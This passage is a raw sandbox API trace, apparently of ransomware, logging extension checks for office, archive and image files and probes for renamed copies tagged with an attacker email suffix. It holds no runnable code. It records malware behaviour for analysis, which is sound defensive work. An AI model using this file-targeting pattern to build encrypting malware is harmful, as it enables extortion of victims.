lstrcmpiW (lpString1=".jpg", lpString2=".log") returned -1 [0267.266] lstrcmpiW (lpString1=".xml", lpString2=".html") returned 1 [0267.266] lstrlenW (lpString="Alphabet.xml") returned 12 [0267.266] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0267.274] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2d3ff1c | out: lpFileSize=0x2d3ff1c*=791686) returned 1 [0267.274] CloseHandle (hObject=0x2f0) returned 1 [0267.274] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml")) returned 0x20 [0267.274] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0267.274] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0267.274] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0267.275] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0267.275] lstrlenW (lpString=".doc") returned 4 [0267.275] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0267.275] lstrlenW (lpString=".docx") returned 5 [0267.275] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0267.275] lstrlenW (lpString=".pdf") returned 4 [0267.275] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0267.275] lstrlenW (lpString=".xls") returned 4 [0267.275] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0267.275] lstrlenW (lpString=".xlsx") returned 5 [0267.275] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0267.275] lstrlenW (lpString=".ppt") returned 4 [0267.275] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0267.275] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0267.275] lstrlenW (lpString=".zip") returned 4 [0267.275] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0267.275] lstrlenW (lpString=".rar") returned 4 [0267.275] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0267.275] lstrlenW (lpString=".bz2") returned 4 [0267.275] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0267.275] lstrlenW (lpString=".7z") returned 3 [0267.275] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0267.275] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0267.275] lstrlenW (lpString=".dbf") returned 4 [0267.275] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0267.275] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0267.275] lstrlenW (lpString=".1cd") returned 4 [0267.275] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0267.275] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0267.275] lstrlenW (lpString=".jpg") returned 4 [0267.275] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0267.275] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0267.275] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0267.275] lstrlenW (lpString=".doc") returned 4 [0267.276] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0267.276] lstrlenW (lpString=".docx") returned 5 [0267.276] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0267.276] lstrlenW (lpString=".pdf") returned 4 [0267.276] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0267.276] lstrlenW (lpString=".xls") returned 4 [0267.276] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0267.276] lstrlenW (lpString=".xlsx") returned 5 [0267.276] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0267.276] lstrlenW (lpString=".ppt") returned 4 [0267.276] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0267.276] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0267.276] lstrlenW (lpString=".zip") returned 4 [0267.276] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0267.276] lstrlenW (lpString=".rar") returned 4 [0267.276] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0267.276] lstrlenW (lpString=".bz2") returned 4 [0267.276] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0267.276] lstrlenW (lpString=".7z") returned 3 [0267.276] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0267.276] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0267.276] lstrlenW (lpString=".dbf") returned 4 [0267.276] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0267.276] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0267.276] lstrlenW (lpString=".1cd") returned 4 [0267.276] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0267.276] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0267.276] lstrlenW (lpString=".jpg") returned 4 [0267.276] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0267.276] lstrcmpiW (lpString1=".xml", lpString2=".html") returned 1 [0267.276] lstrlenW (lpString="Content.xml") returned 11 [0267.277] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0267.277] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2d3ff1c | out: lpFileSize=0x2d3ff1c*=27045) returned 1 [0267.277] CloseHandle (hObject=0x2f0) returned 1 [0267.277] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml")) returned 0x20 [0267.277] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0267.277] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\content.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0267.277] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0267.277] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0267.277] lstrlenW (lpString=".doc") returned 4 [0267.277] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0267.277] lstrlenW (lpString=".docx") returned 5 [0267.277] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0267.277] lstrlenW (lpString=".pdf") returned 4 [0267.277] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0267.277] lstrlenW (lpString=".xls") returned 4 [0267.277] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0267.277] lstrlenW (lpString=".xlsx") returned 5 [0267.277] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0267.277] lstrlenW (lpString=".ppt") returned 4 [0267.277] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0267.277] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0267.277] lstrlenW (lpString=".zip") returned 4 [0267.277] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0267.278] lstrlenW (lpString=".rar") returned 4 [0267.278] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0267.278] lstrlenW (lpString=".bz2") returned 4 [0267.278] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0267.278] lstrlenW (lpString=".7z") returned 3 [0267.278] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0267.278] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0267.278] lstrlenW (lpString=".dbf") returned 4 [0267.278] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0267.278] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0267.278] lstrlenW (lpString=".1cd") returned 4 [0267.278] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0267.278] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0267.278] lstrlenW (lpString=".jpg") returned 4 [0267.278] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0267.278] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0267.278] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0267.278] lstrlenW (lpString=".doc") returned 4 [0267.278] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0267.278] lstrlenW (lpString=".docx") returned 5 [0267.278] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0267.278] lstrlenW (lpString=".pdf") returned 4 [0267.278] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0267.278] lstrlenW (lpString=".xls") returned 4 [0267.278] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0267.278] lstrlenW (lpString=".xlsx") returned 5 [0267.278] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0267.278] lstrlenW (lpString=".ppt") returned 4 [0267.278] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0267.278] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0267.278] lstrlenW (lpString=".zip") returned 4 [0267.278] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0267.278] lstrlenW (lpString=".rar") returned 4 [0267.278] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0267.278] lstrlenW (lpString=".bz2") returned 4 [0267.279] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0267.279] lstrlenW (lpString=".7z") returned 3 [0267.279] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0267.279] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0267.279] lstrlenW (lpString=".dbf") returned 4 [0267.279] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0267.279] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0267.279] lstrlenW (lpString=".1cd") returned 4 [0267.279] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0267.279] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Content.xml") returned 62 [0267.279] lstrlenW (lpString=".jpg") returned 4 [0267.279] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0267.279] lstrcmpiW (lpString1=".avi", lpString2=".html") returned -1 [0267.279] lstrlenW (lpString="boxed-correct.avi") returned 17 [0267.279] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0267.279] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2d3ff1c | out: lpFileSize=0x2d3ff1c*=89600) returned 1 [0267.279] CloseHandle (hObject=0x2f0) returned 1 [0267.279] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi")) returned 0x20 [0267.279] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0267.279] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0267.279] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0267.279] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0267.279] lstrlenW (lpString=".doc") returned 4 [0267.279] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0267.280] lstrlenW (lpString=".docx") returned 5 [0267.280] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0267.280] lstrlenW (lpString=".pdf") returned 4 [0267.280] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0267.280] lstrlenW (lpString=".xls") returned 4 [0267.280] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0267.280] lstrlenW (lpString=".xlsx") returned 5 [0267.280] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0267.280] lstrlenW (lpString=".ppt") returned 4 [0267.280] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0267.280] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0267.280] lstrlenW (lpString=".zip") returned 4 [0267.280] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0267.280] lstrlenW (lpString=".rar") returned 4 [0267.280] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0267.280] lstrlenW (lpString=".bz2") returned 4 [0267.280] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0267.280] lstrlenW (lpString=".7z") returned 3 [0267.280] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0267.280] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0267.280] lstrlenW (lpString=".dbf") returned 4 [0267.280] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0267.280] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0267.280] lstrlenW (lpString=".1cd") returned 4 [0267.280] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0267.280] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0267.280] lstrlenW (lpString=".jpg") returned 4 [0267.280] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0267.280] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0267.280] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0267.280] lstrlenW (lpString=".doc") returned 4 [0267.280] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0267.280] lstrlenW (lpString=".docx") returned 5 [0267.280] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0267.280] lstrlenW (lpString=".pdf") returned 4 [0267.281] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0267.281] lstrlenW (lpString=".xls") returned 4 [0267.281] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0267.281] lstrlenW (lpString=".xlsx") returned 5 [0267.281] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0267.281] lstrlenW (lpString=".ppt") returned 4 [0267.281] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0267.281] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0267.281] lstrlenW (lpString=".zip") returned 4 [0267.281] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0267.281] lstrlenW (lpString=".rar") returned 4 [0267.281] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0267.281] lstrlenW (lpString=".bz2") returned 4 [0267.281] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0267.281] lstrlenW (lpString=".7z") returned 3 [0267.281] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0267.281] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0267.281] lstrlenW (lpString=".dbf") returned 4 [0267.281] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0267.281] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0267.281] lstrlenW (lpString=".1cd") returned 4 [0267.281] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0267.281] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0267.281] lstrlenW (lpString=".jpg") returned 4 [0267.281] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0267.281] lstrcmpiW (lpString1=".avi", lpString2=".html") returned -1 [0267.281] lstrlenW (lpString="boxed-delete.avi") returned 16 [0267.281] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0267.282] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x2d3ff1c | out: lpFileSize=0x2d3ff1c*=31744) returned 1 [0267.282] CloseHandle (hObject=0x2f4) returned 1 [0267.282] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi")) returned 0x20 [0267.282] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0267.282] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0267.282] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0267.282] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0267.282] lstrlenW (lpString=".doc") returned 4 [0267.282] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0267.282] lstrlenW (lpString=".docx") returned 5 [0267.282] lstrcmpiW (lpString1=".docx", lpString2="e.avi") returned -1 [0267.283] lstrlenW (lpString=".pdf") returned 4 [0267.283] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0267.283] lstrlenW (lpString=".xls") returned 4 [0267.283] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0267.283] lstrlenW (lpString=".xlsx") returned 5 [0267.283] lstrcmpiW (lpString1=".xlsx", lpString2="e.avi") returned -1 [0267.283] lstrlenW (lpString=".ppt") returned 4 [0267.283] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0267.283] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0267.283] lstrlenW (lpString=".zip") returned 4 [0267.283] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0267.283] lstrlenW (lpString=".rar") returned 4 [0267.283] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0267.283] lstrlenW (lpString=".bz2") returned 4 [0267.283] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0267.283] lstrlenW (lpString=".7z") returned 3 [0267.283] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0267.283] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0267.283] lstrlenW (lpString=".dbf") returned 4 [0267.283] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0267.283] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0267.283] lstrlenW (lpString=".1cd") returned 4 [0267.283] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0267.283] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0267.283] lstrlenW (lpString=".jpg") returned 4 [0267.283] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0267.283] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0267.283] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0267.283] lstrlenW (lpString=".doc") returned 4 [0267.283] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0267.283] lstrlenW (lpString=".docx") returned 5 [0267.283] lstrcmpiW (lpString1=".docx", lpString2="e.avi") returned -1 [0267.283] lstrlenW (lpString=".pdf") returned 4 [0267.283] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0267.284] lstrlenW (lpString=".xls") returned 4 [0267.284] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0267.284] lstrlenW (lpString=".xlsx") returned 5 [0267.284] lstrcmpiW (lpString1=".xlsx", lpString2="e.avi") returned -1 [0267.284] lstrlenW (lpString=".ppt") returned 4 [0267.284] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0267.284] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0267.284] lstrlenW (lpString=".zip") returned 4 [0267.284] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0267.284] lstrlenW (lpString=".rar") returned 4 [0267.284] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0267.284] lstrlenW (lpString=".bz2") returned 4 [0267.284] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0267.284] lstrlenW (lpString=".7z") returned 3 [0267.284] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0267.284] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0267.284] lstrlenW (lpString=".dbf") returned 4 [0267.284] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0267.284] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0267.284] lstrlenW (lpString=".1cd") returned 4 [0267.284] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0267.284] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0267.284] lstrlenW (lpString=".jpg") returned 4 [0267.284] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0267.284] lstrcmpiW (lpString1=".avi", lpString2=".html") returned -1 [0267.284] lstrlenW (lpString="boxed-join.avi") returned 14 [0267.285] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0267.285] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x2d3ff1c | out: lpFileSize=0x2d3ff1c*=33280) returned 1 [0267.285] CloseHandle (hObject=0x2f4) returned 1 [0267.285] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi")) returned 0x20 [0267.285] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0267.285] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0267.285] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0267.285] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0267.285] lstrlenW (lpString=".doc") returned 4 [0267.285] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0267.285] lstrlenW (lpString=".docx") returned 5 [0267.285] lstrcmpiW (lpString1=".docx", lpString2="n.avi") returned -1 [0267.285] lstrlenW (lpString=".pdf") returned 4 [0267.285] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0267.285] lstrlenW (lpString=".xls") returned 4 [0267.285] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0267.285] lstrlenW (lpString=".xlsx") returned 5 [0267.285] lstrcmpiW (lpString1=".xlsx", lpString2="n.avi") returned -1 [0267.285] lstrlenW (lpString=".ppt") returned 4 [0267.285] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0267.285] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0267.285] lstrlenW (lpString=".zip") returned 4 [0267.285] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0267.285] lstrlenW (lpString=".rar") returned 4 [0267.285] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0267.285] lstrlenW (lpString=".bz2") returned 4 [0267.285] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0267.285] lstrlenW (lpString=".7z") returned 3 [0267.285] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0267.286] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0267.286] lstrlenW 